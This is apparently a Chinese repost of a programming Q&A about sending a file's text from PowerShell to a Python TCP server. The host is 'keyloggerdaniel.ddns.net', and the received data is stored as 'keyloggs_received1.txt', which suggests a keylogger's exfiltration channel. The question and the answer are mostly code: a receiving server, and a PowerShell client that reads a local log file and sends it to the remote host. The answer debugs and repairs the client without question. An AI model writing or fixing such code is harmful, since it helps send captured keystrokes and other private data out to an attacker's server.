首页 > 解决方案 > 如何通过powershell将字符串发送到python服务器?

问题描述

我正在尝试将字符串从 powershell 发送到在其他设备上运行的 python 服务器。但是我总是收到管道损坏错误,我不知道该怎么做。

在此处输入图像描述

这是我的服务器:它侦听连接、接收消息并将其添加到 txt 文件中。

import socket
import threading

HEADER = 64
PORT = 1337
SERVER = 'keyloggerdaniel.ddns.net'
ADDR = (SERVER, PORT)
FORMAT = 'utf-8'
DISCONNECT_MESSAGE = "!DISCONNECT"

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(ADDR)
server.listen(5)

def handle_client(conn, addr):
    print(f"[NEW CONNECTION] {addr} connected.")
    filename = "keyloggs_received1.txt"
    file = open(filename, 'wb')
    connected = True
    while connected:
        msg_length = conn.recv(HEADER)
        if msg_length:
            msg_length = int(msg_length)
            msg = conn.recv(msg_length)
            #file_data = conn.recv(1024)
            file.write(msg)
            file.close()
        conn.send("Msg received".encode(FORMAT))
    print("File has been received successfully.")
    conn.close()

def start():
    server.listen()
    print(f"[LISTENING] Server is listening on {SERVER}")
    while True:
        conn, addr = server.accept()
        thread = threading.Thread(target=handle_client, args=(conn, addr))
        thread.start()
        print(f"[ACTIVE CONNECTIONS] {threading.activeCount() - 1}")

print("[STARTING] server is starting...")
start()

这是我的powershell代码:我在这台电脑上有字符串,想把它发送到服务器:

$file = "C:\Users\Daniel Maderner\log.txt"
$file_Content =Get-Content $file
$socket = New-Object net.sockets.tcpclient('keyloggerdaniel.ddns.net',1337);
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$writer.WriteLine($file_Content);
$socket.close()

标签: pythonpowershellsocketsservertcp

解决方案


我不知道这是否能解决所有问题,但请尝试以下 PowerShell 代码:

$socket = $stream = $null
$file = "C:\Users\Daniel Maderner\log.txt"
try {
  # Read the file as a *single, multi-line string*, with -Raw
  $file_Content = Get-Content -Raw $file
  $socket = New-Object net.sockets.tcpclient keyloggerdaniel.ddns.net, 1337
  $stream = $socket.GetStream()
  $writer = New-Object System.IO.StreamWriter $stream
  # Use .Write(), not .WriteLine() to write the file content as-is
  # to the stream.
  $writer.Write($file_Content)
}
catch { throw }
finally { if ($writer) { $writer.close() }; if ($socket) { $socket.close() } }

Python方面,conn.send("Msg received".encode(FORMAT))正在尝试将数据发送发送者,这会中断,因为您的 PowerShell 代码此时已经关闭了套接字 - 您可以选择在 Python 代码中忽略此错误。


至于你尝试了什么:

  • Get-Content没有-Raw开关返回一个行数组,而System.IO.StreamWriter.WriteLine()需要一个字符串

    • 如果您不小心传递了一个字符串数组,PowerShell 会毫无帮助地调用.ToString()数组上的方法,这会导致逐字字符串System.Object[](try ('foo', 'bar').ToString())

    • 因此,-Raw为了将整个文件内容读取为单个(通常)多行字符串,然后您可以将其写入流.Write()(不需要.WriteLine(),因为这会附加一个额外的换行符)。

  • 您的代码使用伪方法语法New-Object例如
    New-Object net.sockets.tcpclient('keyloggerdaniel.ddns.net',1337).

    • 相反,使用参数模式语法,例如,
      New-Object net.sockets.tcpclient keyloggerdaniel.ddns.net, 1337

    • PowerShell cmdlet、脚本和函数的调用方式类似于shell 命令,而不是方法。也就是说,参数列表周围没有括号,并且以空格分隔的参数(根据需要将数组,构造为单个参数,用于(位置隐含的)参数)。看到这个答案-ArgumentList

    • 或者,如果您切换到PowerShell v5+ 中类型文字可用的静态方法,则可以使用方法语法:::new()

      [net.sockets.tcpclient]::new('keyloggerdaniel.ddns.net',1337)
      
  • 最后,请注意,只有将PowerShell 语句放在一行;时才需要分隔它们;您永远不需要显式终止给定的语句。


推荐阅读